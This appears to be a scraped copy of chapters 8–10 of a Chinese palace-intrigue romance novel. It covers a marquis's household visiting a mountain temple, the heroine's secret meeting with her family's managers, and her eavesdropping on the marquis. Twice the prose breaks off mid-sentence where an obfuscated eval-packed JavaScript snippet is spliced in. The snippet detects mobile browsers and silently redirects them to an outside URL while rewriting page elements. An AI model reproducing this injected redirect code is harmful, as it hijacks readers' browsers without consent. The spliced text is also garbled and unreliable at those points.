男人目不斜视，冷声道：“还有什么要报的?” 忠伯低声说：“禀侯爷，西院翡韵阁的下人来了，带了不少东西，说是侯爷的礼贵重，玉姑娘感念长辈慈恩，需回礼方才安心，老太君那边也送了。” 谢砚深顿住步伐：“收了?” 忠伯：“侯爷您不在，奴才想着不好直接退回去，下了玉姑娘的面子，但也没入库。” 谢砚深站在原地沉默片刻，方才开口：“查验之后再入库。” “是。” “之前吩咐的事情办得如何?” “已经按照您的吩咐去调查玉氏相关事宜了，目前查到玉姑娘的父母死因有疑，追杀玉姑娘的那些人也查到了踪迹，但是彻底查清恐怕要耗费些日子，玉姑娘的仇家来头貌似不小，不知是否已跟入了京城。大房那边已经加派人手盯着了，侯爷放心，定出不了事。” 谢砚深垂在身侧的右手动了动，食指抚过拇指上的镶玉虎骨。 “查清楚她入京的来龙去脉，不得打草惊蛇，注意分寸。” “奴才明白。” 8. 求愿 侯府主子一齐出行对下人来说是件大事，车马行装、道观打点、来回食宿等都要提前安排妥当。 冬月初五清晨，镇北侯府正门前已经黑压压一条龙候着。 这回连往日不便出行的高大夫人也撑起了身子，说要去给公爹添柱香，下人半扶半抬着才送她上的马车，为了照顾她还有年纪尚小的龙凤胎，老太君破例，允了让方氏一同前去。 此一行不能有任何闪失，上百府兵于末尾压阵，时刻警惕，女眷们的马车在中间，而谢砚深与谢滨骑马走在最前方，队首四周围着谢砚深的亲卫。 一行人浩浩荡荡往京郊云山观行去。 云山观在京城以西十二里，峰高入云，故名云山，长久以来香火旺盛，观前有长阶，传闻心诚者一步一叩，跪地膝行而上，入三清殿再叩再拜，所愿皆可偿，十分灵验。 是以无论何季何时，总能见到跪阶而上的百姓，有求来年丰收，有求子息兴旺，有求功名官禄…… 且越是天公不美之时，求愿者越多，因为雨雪风霜、烈日炎阳，都是证明虔心的考验，越艰难的考验，才越有通过的价值。 一分的诚意只能换来石子儿，一万分的诚意才能换来金山。 而这京城里心愿最多最杂最重的莫过于朱门之内的贵人们。 可那长阶太高太陡，贵人们又都是要承大业办大事享大福的，身子骨若不好好养护，岂非堕了尊荣。 亲身侍奉三清不太妥当，但若不侍奉，一片诚心难免备受熬煎。 后来，不知哪位贵人想了个好法子，起了个头，遣小厮着自己的旧衣，捧着书明身份的金纸，替身膝行上阶，奉上贡品，叩拜三清，祈求万事皆如己意，若是灵验，便再遣替身还愿。 这法子似乎挺敏慧。小厮是贵人养着的，衣服是贵人穿过的，贡品是贵人买下的，那这诚意，自然也全是贵人的了。 至于殿里三位尊神是不是真愿意接受这份哪有点不对劲的诚心—— 天知道，地知道，神知道，鬼知道。 云山山脚下的人户只知道，这一遭过后，几十年了，直到现在都还天天有“替身贵人”来跪阶。 据后头来的人说，现在给贵人当替身的都不能随便找了，得合八字，还得提前多少多少天沐浴食素，如果贵人身上有痣什么的也得仿着画上去，讲究那可多了去了。 长长的高阶，行人对身旁捧金纸跪拜上去的替身贵人们都见怪不怪了。 玉怜脂撩开马车小窗厚帘探出头的时候，看见的就是这么幅奇景。 车队过会儿上山，现在山脚处歇息一会儿，侯府主子们坐久了马车，也下来走走，去去一路颠簸的疲惫。 “这是什么讲究?”玉怜脂看着不远处长阶上跪拜的人群，有些好奇。 她身边除了关嬷嬷，还站着个大房指派过来的侍女，叫柳月。 柳月一直跟在马车下行走，听了她问，立刻走到窗边同她解释这事儿的由来，然后退下。 玉怜脂听完，忍不住掩唇轻笑。 “京城真是有趣。” 她偏过头，对身旁的关嬷嬷眨眨眼，用苏州话快速悄声说：“真的有人信哪……?” 关嬷嬷笑着摇摇头。 玉怜脂耸耸肩，刚想转回头继续赏景，就瞧见最前边王老太君的马车下来了个女使。 玉怜脂认出这个女使是润安堂晚膳那天一直伺候在王老太君身侧的甘嬷嬷，王老太君贴身的心腹。 甘嬷嬷利落走到管事们的马车旁，交谈片刻，不一会儿，一个穿着王老太君衣服的替身贵人就从车里掀帘子出来了，站在甘嬷嬷面前任她打量。 玉怜脂愣了一下，笑意更大了。 原来老太君，也信这个? 老太君的替身与老太君本尊不光身形接近，面容也有三分相似，捧着一张金纸，在四个仆妇的簇拥下往长阶那处去了。 玉怜脂招招手，把离远了些的柳月又唤回来。 “这也是侯府上香的规矩?每个人都要这样做一回么？”她指着老太君替身问道。 柳月：“回姑娘的话，奴婢这是第三次跟着来，前两年也是这样的，听府里的老管事说，这规矩已经行了许多年了，只不过奴婢跟着的几次没瞧见侯爷、大爷和大夫人也这样……” 意思很明白了，只有王老太君这么做。 玉怜脂挑了挑眉。 年年如此?老太君是求什么呢？ 又或者…… 是在还什么? 玉怜脂挥退柳月，马车的小窗关上。 “嬷嬷，”她朝旁边的老妇人靠去，头枕在她厚实的肩膀上， “您说，王老太君会求什么呢?” 关嬷嬷刚刚在一旁自然也听见了玉怜脂和柳月的对话。他们来镇北侯府也半月多了，这些日子，玉氏家仆可谓是不遗余力地探听消息。 探听出的消息尽数汇聚到她这，现在玉怜脂问她，她正努力思索着。 玉怜脂裹着小毯，打了个哈欠：“也不一定是求愿，还愿也是有可能的。” 因为王老太君似乎不太可能求什么了。 这位太夫人如今诰命加身，富贵无极，子嗣也争气。 若是祈求国泰民安，似乎也说不通，因为替身跪阶向通常只求己事，再者，要真是求家国永宁，怎不见谢砚深、谢滨和高大夫人跟着做。 那，难道是还什么?她求过什么重要的东西么？ 多重的愿，以至于要还这么多年。 这事肯定是隐秘，但说不准是什么有用的消息。 会是什么呢? * 甘嬷嬷小心入了马车车厢，动作极快，没让外头的冷风多灌进来一点。 “都办妥了?”王老太君半倚着身子，闭目养神。 甘嬷嬷：“太夫人放心，一切都是按往年做的，出不了差错。” “嗯，”王老太君睁开眼，坐直身子，目光略冷， “深儿这回什么反应?” 甘嬷嬷听见这问，咽了咽口水，小心答道：“侯爷，瞧着与来前没多大分别，想是上回的事已然过去了。” 派替身贵人跪阶这种事，谢砚深与他父亲、祖父一样，向来都是不喜的态度，鬼神应当敬而远之。 至于替身求神这种自己想出来的旁门左道，就更应该远离了。 他年岁尚小之时，王老太君不与他说这些，后来他十二随父入军，又驻北境十年之久，所以母子俩也没在这件事上有过什么交流。 去年他刚回京，第一次陪她来云山观，得知她多年以替身跪阶还愿之事后，沉默许久，最后抛下一句“不知所谓”，直接领着亲卫策马回府，把她和一众奴仆府兵留在了云山观。 这世上竟有这样为人子的！ “我不过让他也寻个替，他不愿也便罢了，竟这般逆悖！难不成我这做母亲的还会害他?他本就该来这云山跪一回的！” 王老太君想起当时自己儿子那张冷脸，心中就有止不住的怒气： “当年要不是他姨母在这一阶一阶的跪上去，哪有今日的他?先前让他帮庆吉寻个差事，不说什么实权在手，只消体面便好，他呢?全当没听见！那可是他的表兄弟，竟是帮都不肯帮一回，叫我怎么有脸面去见银襄……” 甘嬷嬷抚着她的背，让她顺顺气： “太夫人，生气伤身，侯爷是心中有大决断的人，脾气硬朗，这次他不是没说什么，陪您来了么。母子连心，侯爷心里肯定是体谅您的。” “至于姨太太那，您就更别忧心了，姨太太从来都是与您最贴心的，这些年您也帮衬了伯府许多，姨太太怎会因为这事怪您?说起来也是表少爷太……才叫侯爷为难。想必姨太太自己也是清楚的。” 她口中的姨太太便是王老太君娘家妹妹，闺名王银襄，及笄后嫁了家道中落的安平伯作续弦。 安平伯夫人是王氏的旁支，与王老太君的关系说远不远，说近也真称不上。 两人尚在闺中时曾一同生活过好几年，在晋阳王氏老宅里，安平伯夫人的温柔性情是无可置疑的，所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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或许是安平伯夫人心真的太诚，那一年，王老太君竟然有孕了，第二年生下了嫡子，如今的镇北侯。 自那以后，王老太君与安平伯夫人比亲姐妹还要亲，安平伯府因着这层关系明里暗里也得了许多好处。 安平伯夫人育有一双儿女，大儿子赵庆吉顽劣不堪，家中长辈没少为他做的那些丑事扫尾，但小女儿赵庆姗却素有雅名，今年十六，正是待嫁之时。 只可惜安平伯当初为了家族兴盛，站在了皇后与承王那一派，表少爷赵庆吉又太不成器，否则王老太君一定最属意表姑娘赵庆姗作儿媳。 “唉！”王老太君压着眉头， “银襄就是心肠太软，狠不下心，才把庆吉惯坏了。我那妹夫也是个不成器的，去搅和党争！若不是这样，我何愁深儿的婚事？” “庆姗知书达礼，又是自家孩子，当然就是深儿的良配。银襄这些日子也时常与我说挑不准女婿人选，想要个知根知底的儿郎，可惜了……” 甘嬷嬷：“太夫人说的是，表姑娘模样才学都是上佳，也是被带累了，要怪，也只能怪伯爷不明时势。” “好在，还有梅府小姐呢。” 镇北侯府只忠于君上，绝不参与党争，这是家训铁则，故而表姑娘赵庆姗只能遗憾出局，目前京中的姑娘就属梅府小姐梅雁伊最适宜。 王老太君听了这话，方才有些宽慰，点了点头。 “对了，”甘嬷嬷忽地又道，“太夫人，方才下人来报，说是瞧见了钟府的马车。” 王老太君目中一冷，斜扫过去：“当真？” 甘嬷嬷：“是，来报的是后头跟着的人，说是在小路上看见的，但离得远，那马车速度也快，没看仔细，有七分相似。” “……好像，是钟府女眷的车驾。” 王老太君冷笑一声，缓缓开口：“还真是不死心哪。” “以为跟到这，深儿就能回心转意？当年，他们家那位钟老太师退亲的时候，可是口口声声与侯府势不两立的。” “让他们跟着，我倒要看看，能翻出什么浪来。” 9. 上香 真正到云山观内已经接近正午了，入观后观主青晖道人亲自迎接，引着众人去专门供奉大昀名臣良将的忠武殿。 上香时王老太君站在最前头，谢砚深、谢滨、高大夫人次之，最后才到方氏、龙凤胎和玉怜脂。 祭拜过先镇北侯灵位后，侯府大管事来报，已经备好了素膳等着主子们用。 王老太君和谢砚深自然是一同用膳，大房那边由于高大夫人身子不适，谢滨求得老太君同意后，和方氏、龙凤胎一起陪着她去观中另一间客堂歇息。 玉怜脂显然不可能留下和老太君、镇北侯单独用饭，但是她也不打算跟着大房。 “滨叔，”她走到谢滨面前，轻声道，“我想先去给爹爹娘亲供盏灯。” 少女今日一身素白，配着浮光绣金的群青帔帛，深色裹着她的肩背，更显身形纤弱，她的面容有些苍白，说话时声音很细，垂着眼。 瞧着心绪不宁，很是低落。 谢滨看在眼里，叹息一声，沉重地点点头：“是该去的，但你身子也不好，不如先去用过膳，然后我陪你一同去?” 玉怜脂没有说话，只是微微低着头，沉默了许久，最后抬眼看他，眼中是蒙蒙水雾，嘴唇轻动几下，但没有发出声音。 谢滨对上她的双眼，想接着劝的那些话就像闭闸后被堵住的水，根本说不出来了。 “……我知道了，我着人陪你去，”随后他挥手召上来两个管事，指给她派遣， “有什么需要的尽管吩咐他们，好孩子，记得替我给你爹娘上柱香。” 玉怜脂含着泪用力点点头，拜别殿中众人，带着下人往云山观南边去了。 两个大房管事负责打点好一应事宜，办妥之后引着玉怜脂去了供奉的地方，随后和其余玉氏家仆同在外头候着，只有关嬷嬷陪着玉怜脂进殿。 玉怜脂望着眼前两个牌位，跪下磕头，烧纸，三根细香捏在手里轻晃几下，待火苗消去后插在坛中。 “阿爹，阿娘，再等等我。”她轻声说。 透白香雾幽幽绕升，似乎要将她的话一并携入黄泉地府。 她站在灵前，没有眼泪，也没有表情，像是在出神。 不远处守着的关嬷嬷思忖片刻，快步走到她身旁，附耳低声： “姑娘，外头侯府的人已经叫我们的人看着了，京里的掌柜们在殿后的厢房里等您。” 玉怜脂拢了拢身上的帔巾：“走吧。” * 关嬷嬷在房门口敲了五下，四长一短，门内传来横木移动的声音，随后打开。 玉怜脂一步踏入，与房内齐刷刷站起的一女六男对上眼。 “少东家。” “少东家。” “……” 七人俱是俯首，其中六人浑身紧绷，能清晰地感觉到面前少女的眼神从他们身上一个一个扫过去。 不带情绪的冰冷。 “好啦，”过了好半晌，头顶才传来一声轻笑，“这么紧张做什么。” 几人如释重负，但也不敢再像玉怜脂进来前那样坐着，等她坐下后，按照顺序在她面前站好。 不是他们小题大做，实在是眼前这位少东家手腕强硬。 他们负责玉氏京城的产业，一共七人，有四个是两年前新调过来替任的，而被替换掉的那四个旧掌柜…… 下头的人只隐约晓得他们犯了事，被少东家扭送去了远地，据说是关外，只不过送出去之后是死是活，就没人知道了。 反正，当初玉东家和夫人死讯传回来后倒戈逆反、联合外人围攻玉氏的，一个不留，全部被少东家拔了个干净，连带着他们的家里人，也全都失去了踪迹。 苏州老宅那边在东家和夫人灵堂上跳的最厉害的几个人，没出几月就遭了报应，疯的疯，残的残，报了官也只得出个是他们自己运道不好的结论，下半辈子活着比死更痛苦。 即便是后头也来掺一脚的夫人娘家兄弟，少东家也是不曾手软的，什么舅伯姨母，一概镇压下来。 如今他们这些人被挑选派来京城做事，家中父母妻儿却都留在了江南，放到玉氏管束的宅子里养着，他们做好了事，家里人便好吃好喝，锦衣玉食，若是有二心，或是放纵懈怠，那下场就摆在前头。 玉怜脂看着眼前的六男一女，最后对站在最左边穿白麻衣袍的女子招了招手： “素灵阿姊。” 麻衣女子只有一根木簪挽发，面若冰霜，自玉怜脂进来起便没变过表情，是七人里唯一一个淡然不惧的。 玉氏京城的大掌柜，段素灵。 掌管玉氏在京城中所有药堂、医馆、潜入各府的人手，还有玉氏私养的武师。 京城中，除了关嬷嬷之外，段素灵毫无疑问是玉怜脂最信任的人。 玉氏从发家那一代起一直在江南各个地方兴建善堂、义学，收留孤儿、穷苦孩子，除了积德之外还有另一个用处，那就是为玉氏培养有用又忠心的人。 这种做法其实历朝历代都有，多不胜数，玉家先祖也只不过是效仿前人而已。 只不过真正做起来就会发现，用这种方法，想要像话本里那样培养出一大批死士根本就是天方夜谭。 一两百个穷苦孤儿养大，先去除身有残疾或心智不全的，再去除心术不正、好吃懒做的，然后还要去除能力太过不济的，剩下就没几个了。 绝大多数就是性格老实本分，忠心耿耿，再要多些别的也着实没有。 想从里边挑出来十分聪明有资质，还知恩图报一心为着玉氏的人，可以说是难上加难，但只要脱颖而出，有一个算一个，绝对都是玉氏的梁柱，主家最信任的人。 玉氏如今的二当家吕贯君是一个，而现在玉怜脂唤作“阿姊”的段素灵就是另一个。 段素灵是玉氏某个偏僻乡下善堂的堂主从一个水桶里救出来的孤儿，想来是家里人要把她溺死。 但段素灵天生命硬，说是从水里捞出来的时候脸已经发青了，但愣是没断那口气，被救了回来，长到五岁的时候被挑中进了苏州玉宅里培养。 她天资极高，医毒两道皆是颇有造诣，聪慧过人，且有武功傍身，可以说，如果没有她在，玉怜脂想要在京城里安插人手，短短两年绝对不够。 其余六个京城管事也都在她的调配下做事，她的权力仅次于玉怜脂本人。 段素灵的眼神柔和下来，快步走到玉怜脂跟前：“姑娘。” 玉怜脂拍拍身旁的椅子，示意她坐下，眉心皱起： “久不见阿姊，阿姊瘦了许多，是我不好，让阿姊这般受累。” 段素灵没有坐，依旧站着，仔细打量着眼前比两年前更加纤弱、面上病气隐有加重的少女，沉重地摇了摇头： “我不曾受什么累，倒是姑娘您，可有按时服我配的药?我近日又制了新的方子，待试药后妥当了就让人送去给您，千万要注意身子，一食一饮都需小心。” “好，好，我都听阿姊的。”玉怜脂自然谨遵医嘱，随后话头一转， “阿姊，我让你们带来的东西呢?” 话音落下，段素灵和其余六个掌柜立刻从怀中拿出一叠厚纸，每人一叠，交到玉怜脂手上。 段素灵：“这些是两年来各个行当内我们收集到的所有与柳启彦本家、岳家有关的消息，顺藤摸瓜，找到了一些当年丹阳案被劫走的宝物。” “有的被当卖到各个州县，还有不少是整件被拆分零散、制成新物后再售卖，后头这种手段更隐秘，赃物处理得更加干净，必须细细查验才能确定。” 玉怜脂翻看着手上的东西，淡淡道：“找出东西卖了之后钱流去了哪里吗？” 官匪勾结必有因头，金陵劫杀案明显为了财，可是柳启彦到底是什么地方缺财呢？ 柳启彦当年是金陵城的父母官，金陵城是江南数一数二的富庶，地方官员可谓钱囊鼓溢。 且柳启彦之父柳明觉乃前任礼部尚书，京中二品大员，岳父吴令锋曾是一方封疆大吏，官至两江总督，这样乘坚策肥、钟鸣鼎食的世家，怎么会缺钱? 即使缺，只要稍稍表露几句，下面人自然心领神会，巴巴地供上来。 缺钱到去勾结大匪劫财，看起来不仅要得极多，更要得急迫。 十八家大商队，一次劫杀，夺去的钱财何止百万两，还不算上那一车车的珍宝古玩。 柳启彦劫财是给自己用呢，还是……给别人用? 段素灵沉着脸，摇头：“我们已经追查了两年，只有第一年初有两三次捉到些苗头，但很快就没了，那些人十分警惕，为了不被发现，我们只能罢手。” “不过，”她接着说，“这些年京中储君之争一直没有断绝，柳府和吴府没见过有什么动静，像是不参与党争，但柳启彦今年年初复官之事绝非偶然，姑娘，我有八成把握，柳启彦一定投靠了某一边。” 说到“党争”的时候，段素灵的声音压 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现在平武帝的身体每况愈下，朝中党争隐有沸腾之势，若是柳启彦的确搅入了党争，当初也是为了承王或睿王办事，那么金陵劫杀案想要查清真相，就是难于登天了。 即便是查清楚了，难道，玉氏一介商贾，能与当朝权势正盛的亲王对抗吗？ 那根本就是自寻死路。 …… 玉怜脂的面色不变，但眼神已经沉如幽潭。 房中的气氛霎时凝固。 “……那当时替柳启彦下手的那伙人，有找到踪迹么？”过了好半晌，玉怜脂才又开口。 段素灵：“找到了两个，但他们像是提前知道消息，逃得很快，已经进入卢州地界了，我们的人还在追。” 玉怜脂：“从这月起，每月十五把收集到的消息递到观中，我会让人与你们交代对接的事宜。” 说着，她站起身来，脸色已经恢复如初，笑吟吟地望着房中众人。 “你们只管做好份内的事，不许逾权，更不能私下与其余人见面，一切等我指令即可。辛苦大家了。” “是——” * 殿门再次打开的时候，殿外的两个大房管事已经等得有些心慌了，见少女施施然出来，忙迎了上去。 “可算等着姑娘了，姑娘，西边厢房已经备好了，姑娘请去用个膳，休息片刻吧。” 玉怜脂笑着应道：“好啊。” 玉怜脂没什么胃口，但因为要服药，不能空着腹，多少还是吃了些。 用过药后，关嬷嬷本想服侍她小憩片刻，但玉怜脂一丝困意也没有，思来想去，便打算出去走走。 云山风景极佳，山上有一大片梅林，正到了要盛开的时节。 林子实在是大，逛了许久后，玉怜脂就带着关嬷嬷走向林中的亭子里坐着歇息了。 这样的石亭林中设了好几个，专供休息，忽而山上冷风骤起，卷着花叶吹袭而来，玉怜脂忍不住打了个寒颤。 关嬷嬷无比眼尖，一下就捕捉到了：“姑娘诶！早说让您再多加件披风的！” 少女委屈巴巴地看向她：“……刚来的时候没那么冷呀……” 她身上的衣服不薄，披着的帔巾内里是一层薄貂绒，刚来的时候日头也正盛，她着实没觉着多冷。 老妇人急得团团转，压根不听： “姑娘且在这坐着，我回去拿披风和手炉来，再拿些您爱吃的点心，您别乱跑，乖乖在这等着，啊。” 说罢，转身离去。 玉怜脂眨了眨眼，搂着织锦帔巾静坐着。 这片梅林在道观贵客厢房的后头，寻常人进不来，林子外围也有各家家仆看着，所以关嬷嬷才放心她一个人呆在这。 她的厢房离这小石亭有些脚程，一时半会关嬷嬷是回不来了，玉怜脂坐了一会儿，就站起身，走出了石亭。 脑中思绪缠乱，她走在林子里，放空心神，每走二三十步就折一枝梅花，没多久，怀里就捧了一束。 等到她回过神来的时候，她已经离小石亭很远了。 玉怜脂深吸一口气，抱着梅花，抬步转身朝回走。 “阿深……！你真的一丝情谊都不肯舍予我么?” 女子泣泪之声从右侧传来。 紧接着，是一道冷沉的男声—— “钟大小姐自重。” 玉怜脂的脚步顿住了，缓缓转头望向那边。 ……镇北侯? 10. 偷听 钟芷兰的脸上泪痕斑斑，晶莹水珠不停从眼角滚落，她看着眼前面若冰霜，丝毫不为所动的男人，几乎心碎欲裂。 “你一定要同我这样生分吗？”她不甘心，又往前踏了一步，胭雪画帔随风扬起，梨花带雨，无限凄怜。 “阿深，阿深哥哥，我们合过八字，换过庚帖，我知道当初祖父做了让谢家难堪的事，你心里有气，可我又做错了什么呢？退婚我也是被逼无奈的啊！为什么你连一次弥补的机会都不肯给我?我当年送给你的信你看了吗？我一直等着你，等到今日，再好的儿郎我都不放在眼里，我的心里自始至终都只有……” “够了，不要得寸进尺。”她的话被男人毫不留情地打断。 眉目秀丽的女郎瞬间顿在原地，即便离得有些远，也能看清楚她捏着帕子剧烈颤抖的手。 玉怜脂站在梅树后，看着不远处郎心似铁不回转的戏码，顿时挪不动脚了。 好热闹呀。 桃花债。 还是高高在上的镇北侯的桃花债。 这种场面真是千载难逢。 玉怜脂又往树后藏了藏，抱着梅花接着听墙角。 这样着实有些不雅，但是—— 她来都来了，这分明是上天的旨意呀，非要让她听到，她怎么可以辜负天恩呢。 什么非礼勿听，管他的咯。 从她的视角看过去，和谢砚深说话的女子正背对着她，而谢砚深本人则在石亭中端坐着，腰背挺拔，面容沉稳俊毅。 他手里握着茶杯，竟是连个正眼也不给那名字字恳切的女郎。 什么哦，一点都不怜香惜玉。 白长着一张惑人的脸。 谢砚深不紧不慢地饮了口茶，再开口的时候，说出的话更加冷酷无情： “钟夫人去寻我母亲谈话，而你不顾颜面私下来找我，贵府此番双管齐下，不知已故的太师若是知道，会做何反应。” 钟老太师是出了名的硬骨头、要脸面，如果他在世，是绝对不会求着谢氏再重议亲事的，那无外乎把钟府的脸面往地上再踩一脚。 钟芷兰当然听出他言语中的蔑意，忍不住往后撤了半步：“我，阿深哥哥，你知道我不是这样的人……” 谢砚深放下茶杯，终于回过头直视她，眼中尽是冷漠：“钟芷兰，当年你送的信家母早已代我尽数归还，若你没有收到，应该去问你的双亲。” “你今日是如何得知我身在何处的，我无意追究，但这是最后一次，下不为例。如果钟府还不肯罢休，那便是与谢氏为敌。” 钟芷兰鬓边瞬时冷汗直流，同时，泪水也决堤而下。 他就这么不情愿？就真的半点情分也不顾？ 他居然，威胁她？ 钟府在当年外族进犯之时力主求和，已是与主战的谢氏站在了对立面，她祖父去世之后钟府就有衰落之象。 后来谢砚深屡战屡胜、扭转逆势的羽报传了回来，钟氏更是失去了圣心，她父亲如今只有从三品的虚职，族中子弟要么才能不济，要么还未长成。 而谢氏有谢砚深这颗春秋鼎盛的大树在，有北境兵权在，有圣心在，起码还能再荣华三代。 如果谢砚深真的恼了他们，都不需要他亲自动手，只需表个态，钟氏的境况绝对会比现在还要糟糕。 钟芷兰出身世族，虽确实心悦眼前之人，但若说她的情意里完全不掺杂对权势的渴望，那就是自欺欺人了。 如今谢砚深的态度摆在这里，她明白今日只能先退，绝不可再冒进。 她深呼吸后，用帕子抹去泪水，朝亭中人一拜：“……侯爷恕罪，是我不知礼数，还望侯爷大人大量，今日，就当我从未来过。” “侯爷说的话，我……铭记于心。” “我这便离开。” 但亭中之人却忽地开口：“不，你留下。” 钟芷兰猛地抬起眼，却望见男人已经站起身来，眼神朝着她的方向，却并不是在看她。 “侯爷……” 谢砚深面色冷淡：“你留下，我走。” 说罢，几步便下了石亭，朝梅林深处疾步而去，徒留身后佳人痴痴凝望。 玉怜脂一手抱着梅花，一手提着裙摆，踩着软绣的登云履，跑得飞快。 她穿行在梅树之间，时不时要俯身绕行，但又不敢放慢速度，差点被石头绊崴了脚。 快点，再快点！ 刚刚她藏在树后，听到镇北侯冷斥那位钟姓女郎时，忍不住探出头去看，结果，正撞上一双凌厉的眸。 吓得她赶紧逃走。 她没露出全脸，也不知道谢砚深认没认出她，反正三十六计走为上计。 大不了他后头真要追究，她死不承认就是了，只要他抓不着她，他就没证据！ 玉怜脂跑得眼冒金星，偏偏急中生错，她越跑越乱，眼前一定才发现好像跑岔了路，遂急忙拐回去。 猛地一掉头，和几步开外冷视她的高大男人对上眼。 “啊！”她吓得一个刹不住，瞬间摔倒在地，右手擦在地上，疼得冒出泪花。 谢砚深皱着眉：“是你——” “不是我不是我！”少女跌坐在地上，缩着身子，素白的双手快速举起一束梅花挡在脸前，想借此躲避男人的视线。 谢砚深看着她盗钟掩耳自欺欺人的模样，不知道为什么，原本微薄的怒意突然就烟消云散了。 他走上前，居高临下俯视她：“……起来。” 好半晌，玉怜脂把花束往下移动，小心翼翼地露出眼，含着泪看向上方的人。 “侯，深叔……”她委屈地叫他。 “我错了……” 谢砚深没有接话，还是重复原来那两个字：“起来。” 玉怜脂颓丧着把花束移开，刚想撑着手起身，结果不知道惯用的右手擦伤了，压在地上刚一用力，就疼得又跌了回去。 “呜……”她又坐回了地上，抱着右手哗啦啦流眼泪。 好疼，好疼啊。 谢砚深看着少女红了半边隐有血丝的手心，再转向她泪水涟涟的脸蛋，沉默了几秒。 玉怜脂似乎听见上方有浅浅的叹息声，然后眼前出现了一只大掌。 真的是大掌，很大，一只顶她两只了。 虽然她近距离见过一次，但还是不免惊叹。 武将用来弯弓杀敌的手布满旧疤、青筋，感觉一下就能把她捏碎。 谢砚深定定看着地上坐着的人，看她对着自己的手发愣，等他有些不耐地要再开第三回口的时候，她终于动了。 只见她战战兢兢地扯着臂弯里的帔帛一角，披在他的手上，然后左手遮在袖子下，随后才把手放进他的掌心。 放好之后仰起头，泪眼朦胧地看着他，缓缓冒出一个讨好的笑。 很乖巧，可怜又可爱。 一点都不像刚刚才偷听完长辈是非的样子。 谢砚深顿了顿，随后隔着两层厚罗，把她的手握在手心。 他还不能太用力，因为她的手就像块软豆腐，他要是用过了力气，恐怕她得疼得再摔回去。 稍一使力，她就像只轻飘飘的风筝，被扯了起来。 玉怜脂还抱着梅花，迅速低着头站好，垂头丧气，接受来自头顶的审视目光。 “你知错吗？”不知道过了多久，眼前的阎王爷终于发话了。 玉怜脂立刻点头如捣蒜，啪嗒啪嗒掉金豆子：“知错了知错了！我再也不偷听了……不是不是，我什么都没听见！深叔大人不记小人过，饶过我这一回吧？” 很显然，她知道被眼前的人抓住之后狡辩根本没有用。 “听到了多少？”他又问。 “不多不多，就听了一小会儿……”她连忙抬头表无辜，随后在男人冷冰冰的视线凝视下又缩着脖子默默低下头。 “为何要偷听?”他的声音很平静。 玉怜脂瑟缩了一下，小声说：“我，我走岔了路才会到那里去的，听见有人说话我就过去看看，是我坏了礼数，对不起……” 谢砚深垂下眼，往她泛血的掌心看了一眼，随后转身：“跟上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991701|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说罢大步朝某个方向走去。 玉怜脂不敢耽搁，连忙跟上去。 他身量那么高，而她不过到他肩头，他在前边走路，她就得在后头跑步，加上谢砚深习武，走起路来比寻常人还快许多，没一会儿她小跑都跟不上了，落了他一大截。 “深，深叔……您，你慢点儿……”她实在累得不行了，只得停下来靠着树。 她身子本来就弱，平日出门那是能坐车就坐车，能乘轿就乘轿，别说锻炼身体，光是多跑多走都能去她半条命。 刚刚偷听被发现慌忙逃跑已经让她气喘吁吁了，现在又跑了一阵，她简直是精疲力尽。 已经走出十几米的男人顿住脚步，转回身，眉头压着，站在原地没有动。 玉怜脂看着远处散发冷意的人，抱着花慢慢走过去。 “大夫说我要多静养，不能跑太快，对身子不好，不是我故意的……”好不容易挪到男人跟前，她才低着头小声喏喏叨叨。 谢砚深面无表情：“刚才偷听不是跑得很快?” 玉怜脂瞬间闭嘴了，只敢时不时瞄他一眼，但是说瞄也不准确，因为五次瞄里还夹杂着一下控诉的瞪。 看起来可怜，实则暗搓搓理不直气也壮。 谢砚深则不知道在想什么，垂在身侧的手动了动，眼中有些暗了下来。 两人站在原地僵持片刻，先屈服的是玉怜脂。 因为她的手真的很疼。 少女手里一动，一枝梅花唰地一下摇了起来，大胆地戳到男人的面前，冷香极淡，却难以忽视。 谢砚深瞳中微缩。 “我寻了好久，数这枝梅最好看，深叔收了花，就不要和我计较了，好不好?”她像是鼓足了勇气，竟然敢直勾勾地和他对视了。 他比她高好多，她必须仰着头才能看清他的脸。 男人抬起手，把那枝梅捏住，打量片刻，说道：“如何是不计较?” 玉怜脂强撑着不让手发抖，认真道：“不计较就是深叔原谅我偷听，不要和滨叔告我的状，也不能让我再跟着跑，最好现在就放我走。” 谢砚深：“你倒是敢给自己找台阶下。” “那，深叔答应吗?”她已然看出男人并不生气，自然没有当初那样惧怕，只是细看去还有些怯怯的。 谢砚深拿着那枝梅，凝视她片刻，忽地问：“你这般怯弱，如何独自掌管家业?” 玉怜脂一愣。 随后笑容肉眼可见变得苦涩起来：“……家里还有小叔父在，我，我是没什么用……” 谢砚深：“小叔父?” 玉怜脂点点头：“小叔父姓吕，外头管他叫二当家，我平时叫吕叔，吕叔和我爹爹是结拜过的兄弟，从小看着我长大，爹爹去了，一直是他护着我。” “原来如此。”他语气平淡，像是在打听一件再平常不过的事。 提起玉家，玉怜脂的情绪明显低落许多，她再次开口时声音也轻了起来： “深叔，我真的知道错了，嬷嬷还在等我，知道我乱跑，她得担心了，您若是要罚我，回去再罚吧。” 谢砚深下颌绷紧一瞬，沉声道：“我何时说过要罚你?” 嗯? 玉怜脂仰起头。 “今日之事不可外传，你去吧。”抛下这一句，他转了个方向，大步离开。 玉怜脂眨了眨眼，等再也看不见男人背影时，慢慢，慢慢勾起唇角。 花拿走了。 这是不和她计较的意思了? …… 真好哄。 “……姑娘……姑娘——！”远处，隐隐传来老妇人焦急的呼唤声。 玉怜脂耸耸肩，把魔爪伸往旁边最近的一颗梅树，咔嚓一下又折了一枝梅花。 随后举着手里的梅花，满意地欣赏着。 